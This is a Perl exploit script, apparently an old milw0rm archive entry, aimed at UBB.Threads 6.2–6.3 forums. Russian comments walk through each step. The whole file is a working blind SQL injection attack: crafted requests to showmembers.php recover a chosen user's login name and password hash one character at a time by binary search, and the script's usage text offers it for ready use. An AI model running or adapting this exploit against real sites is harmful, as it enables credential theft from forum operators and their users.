122 lines
No EOL
7.3 KiB
Perl
Executable file
122 lines
No EOL
7.3 KiB
Perl
Executable file
#!/usr/bin/perl
|
|
|
|
use LWP::UserAgent;
|
|
|
|
# UBB.Threads 6.2.* - 6.3.* exploit
|
|
# with one char brute technique
|
|
# by 1dt.w0lf // r57
|
|
|
|
$path = $ARGV[0];
|
|
$username = $ARGV[1];
|
|
|
|
$s_num = 1;
|
|
$n=0;
|
|
$|++;
|
|
|
|
if (@ARGV < 2) { &usage; }
|
|
|
|
print "Please wait...\r\n";
|
|
print "[";
|
|
|
|
while(1)
|
|
{
|
|
# начинаем перебор с полного диапазона
|
|
&found(0,122);
|
|
# если возвращенный код 0 значит дошли до конца строки и выводим полученный результат
|
|
if ($char=="0")
|
|
{
|
|
print "]\r\n\r\n";
|
|
# разделяем полученную строку на логин и пароль
|
|
($res1,$res2)=split(":",$allchar); #
|
|
print "------------------x REPORT x-------------------\r\n";
|
|
print " Username: $username\r\n";
|
|
print " Login Name: $res1\r\n";
|
|
print " Password Hash: $res2\r\n";
|
|
print "------------------x REPORT x-------------------\r\n";
|
|
print "total requests: $n\r\n";
|
|
exit();
|
|
}
|
|
else
|
|
{
|
|
# преобразуем полученный код в символ и добавляем его к строке результата
|
|
print "|";
|
|
$allchar .= chr($char);
|
|
}
|
|
# увеличиваем позицию символа на единицу и продолжаем перебор
|
|
$s_num++;
|
|
}
|
|
|
|
|
|
|
|
sub found($$)
|
|
{
|
|
# определяем переданный диапазон
|
|
my $fmin = $_[0];
|
|
my $fmax = $_[1];
|
|
# если диапазон менее 5 то переходим к перебору
|
|
if (($fmax-$fmin)<5) { $char=&crack($fmin,$fmax); return $char; }
|
|
# определяем центр диапазона
|
|
$r = int($fmax - ($fmax-$fmin)/2);
|
|
# делаем условие
|
|
$check = ">$r";
|
|
# и проверяем условие, в зависимости от результата рекурсивно вызываем функцию с новым диапазоном
|
|
if ( &check($check) ) { &found($r,$fmax); }
|
|
else { &found($fmin,$r+1); }
|
|
}
|
|
|
|
sub crack($$)
|
|
{
|
|
# определяем переданный диапазон
|
|
my $cmin = $_[0];
|
|
my $cmax = $_[1];
|
|
$i = $cmin;
|
|
# и проходим по каждому значению из диапазона
|
|
while ($i<$cmax)
|
|
{
|
|
# делаем условие
|
|
$crcheck = "=$i";
|
|
# проверяем его
|
|
if ( &check($crcheck) ) { return $i; }
|
|
$i++;
|
|
}
|
|
return;
|
|
}
|
|
|
|
sub check($)
|
|
{
|
|
# увеличиваем количество запросов
|
|
$n++;
|
|
# определяем условие
|
|
$ccheck = $_[0];
|
|
# создаем http запрос к серверу
|
|
$http_query = $path."?Cat=&page=1&like=".$username."' AND ascii(substring(CONCAT(U_LoginName,CHAR(58),U_Password),".$s_num.",1))".$ccheck." /*";
|
|
|
|
# Если вы хотите видеть все запросы отправляемые к скрипту
|
|
# то расскоментируйте следующую строку
|
|
# print "\r\n $http_query \r\n";
|
|
|
|
$mcb_reguest = LWP::UserAgent->new() or die;
|
|
# получаем ответ сервера
|
|
$res = $mcb_reguest->post($http_query);
|
|
@results = $res->content;
|
|
# проверяем ответ сервера на наличие строки
|
|
foreach $result(@results)
|
|
{
|
|
if ($result =~ /<td class=\"lighttable\">/) { return 1; }
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
sub usage
|
|
{
|
|
print "=========================================================\r\n";
|
|
print " UBB.Threads 6.2.*-6.3.* one char bruteforce exploit\r\n";
|
|
print " For all MySQL versions! Don't need UNION support!\r\n";
|
|
print "=========================================================\r\n";
|
|
print " Usage: $0 [path/to/showmembers.php] [username]\r\n";
|
|
print " e.g. : $0 http://127.0.0.1/showmembers.php admin\r\n";
|
|
print "=========================================================\r\n";
|
|
exit();
|
|
}
|
|
|
|
# milw0rm.com [2004-11-15] |